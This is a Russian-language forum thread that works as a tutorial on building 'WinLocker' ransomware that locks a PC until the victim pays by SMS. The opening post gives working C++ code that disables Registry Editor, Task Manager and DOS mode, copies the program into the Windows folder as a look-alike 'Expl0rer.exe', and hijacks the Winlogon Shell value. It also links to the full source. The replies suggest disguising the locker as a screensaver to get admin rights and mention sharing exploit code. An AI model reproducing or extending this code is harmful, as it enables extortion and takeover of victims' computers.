Прелюдия Тут один персонаж доставал меня по поводу «что такое «WinBlokirator» » и как оно работает. Сразу оговорюсь, что статейка для опытных людей ничего нового не даст но вот для новичков в целях общего развития вполне подойдет. И так, программы класса «WinBlokirator» можно отнести к вредоносным программам но как правило в ихнюю задачу входит только заставить пользователя отправить SMS на платный номер за что и обещают вернуть все на свои места (покрайне мере два варианта которые реверснул только это и делали). Проникать на компьютер может любым из доступных способов и тут ничем не отличается от техже «KIDO», «Sality» а тоесть путем атаки на уязвимости в сервисах Windows (MS08-067,MS08-068,MS09-001), Интернет браузеров, склейка с исполняемыми файлами, а также через автозапуск съемных накопителей (Flash, CD,DVD и т.д.). Проникая на компьютер жертвы «программа» (будем так называть) первым делом должна обеспечить себе безопасное пребывание и по максимуму усложнить возможность избавиться от нее не выполнив указанной просьбы (например, отправку SMS) - это достигается путем блокирования «Диспетчера задач», «Редактора реестра», «Загрузка в безопасном режиме/командной строки» Вот пример возможного кода (CodeGear C++Builder 2009) Code: // Запрещаем Редактирование реестра reg = new TRegistry(); reg->RootKey=HKEY_CURRENT_USER; reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",true); reg->WriteInteger("DisableRegistryTools",1); reg->CloseKey(); // Запрещаем Диспетчер задач reg->RootKey=HKEY_CURRENT_USER; reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",true); reg->WriteInteger("DisableTaskMgr",1); reg->CloseKey(); // Запрещаем Загрузку в режиме MS-DOS reg->RootKey= HKEY_CURRENT_USER; reg->OpenKey("Software\\ Microsoft\\ Windows\\ CurrentVersion\\ Policies\\WinOldApp",true); reg->WriteInteger("NoRealMode",1); reg->CloseKey(); Далее необходимо скопировать себя, куда нибудь в католог Windows – примерно следующим кодом: Code: ZeroMemory(CMD,500); lstrcat(CMD,"cmd /c copy "); lstrcat(CMD,Application->ExeName.t_str()); lstrcat(CMD," %WinDir%\\Expl0rer.exe"); //(Expl0rer.exe имя cс которым скопировать наш файл в каталог WINDOWS) WinExec(CMD,0); Чтобы при следующей загрузке Windows заблокировать компьютер нам необходимо заменить SHELL Windows (Explorer.exe) на свою программу, что делается путем изменения значения в ветке Code: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell Программная реализация: Code: reg->RootKey=HKEY_LOCAL_MACHINE; reg->OpenKey("\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",true); reg->WriteString("Shell","Expl0rer.exe"); //(Expl0rer.exe имя нашей программы в каталоге WINDOWS) reg->CloseKey(); Теперь наша программа обеспечила себе возможность спокойно жить на компьютере и запуск при страте системы (путем подмены SHELL-a системы). Реализация интерфейса это уже дело вкуса каждого и ничего сложного в этом нет и логика работы простейшая: 1. Говорим что куда отправлять 2. Проверяем введенный код на корректность 3. Если корректно то возвращаем все на свои места в обратной последовательности. Вот такая вот простая, в общем, технология, на которой умудряются зарабатывать деньги. Вот несколько скринов программы, которая писалась специально для одной фирмы, которая не хотела покупать лицензионное ПО а Админ очень сильно волновался по этому поводу. Она действовала по то муже принципу что и выше но только никаких кодов не просила =) P.S. Фирма купила лицензии =) Ну критикуйте меня. Могу выложить исходники "блокиратора" со скринов - если модераторы не против. (код не супер красивый но вполне читабельный) Вообщем исходник. http://rapidshare.com/files/250975578/1.rar_.html MD5: 40991CEE044C713F1D8E671B0FA6D1EF
На висте не тестировал (каюсь) когда меня попросили написать ЭТО то цель ставилась в направлении WINDOWS XP PRO SP3
В висте не позволит, пробовали на ноуте, фс стоит нтфс, в папку винды и в корень диска, во все системные папки + таск менеджер. Нужны права "супер админа"
Можно пойти путем "СИ" например под скринсевер замаскировать и проверять при запуске права - если не Администратор то выдавать красивое окошко , мол "Извините но у вас не получиться установить наш супер красивый и клевый скрисевер без прав Администратора"
Повашему в Xp в раздел HKLM и в %windir% может обычный пользователь писать?Так что это работает везде в независимости от ОС(xp,vista).В обоих случаях нужно права администратора и UAC ну ничем не попрепятствует.Что в xp потребуется runas,что в Vista запустится UAC.Если работать по умолчанию в виста под записью входящей в группу администраторы и не править настройки,то выведется уведомления о повышении прав,где достаточно нажать далее.
Я еще не видел, чтобы при установки винды (ХР) получался "обычный" пользователь. За это ХР и "любят" до сих пор, то что лишних вопросов не задает в отличии от висты и 7ки. Да и кто с этим будет возиться? Под скрытую установку это не очень похоже. Мы тестировали несколько софтин, так что под ХР устанавливается на ура, в висте не проходит.
Пользователь тыкнет на 90% да при проявлении окна UAC,а в 99% попросит его отключить UAC ,заметит опытный пользователь который не когда не будет сидеть под записью администратора что в Xp ,что в Vista.А в 7 тем более там по умолчанию еще больше снижен UAC и отключается на раз,еще покрепче держится только самый высокий уровень.
2skam777 как только дойдут руки выколупать оттуда механизм под MS08-067,MS08-068,MS09-001 то сразу выложу для всех. к сожалению таких мало. к большому сожалению.
Дело в том что если и выложу исходники то в них будут ошибки - на дурака =) Да и вообще выкладывать сейчас не буду.. много школьников.
Понимаю что теме дохрена лет но все равно апну. У кого есть исходник? Или автор если еще существуешь залей по новой плиз. Очень хочется ознакомиться с уже естественно палящемся но все же винлоккером. Просто ради собственного интереса. В сети не нахожу исходник, все уже облазил а его нет.
Это я и написал в посте собственно. Ну может у кого есть исходники? Их реально в сети нет. Только билдеры а в них неизвестно что может быть. А код мне нужен так сказать для изучения в своих целях а не для распространения.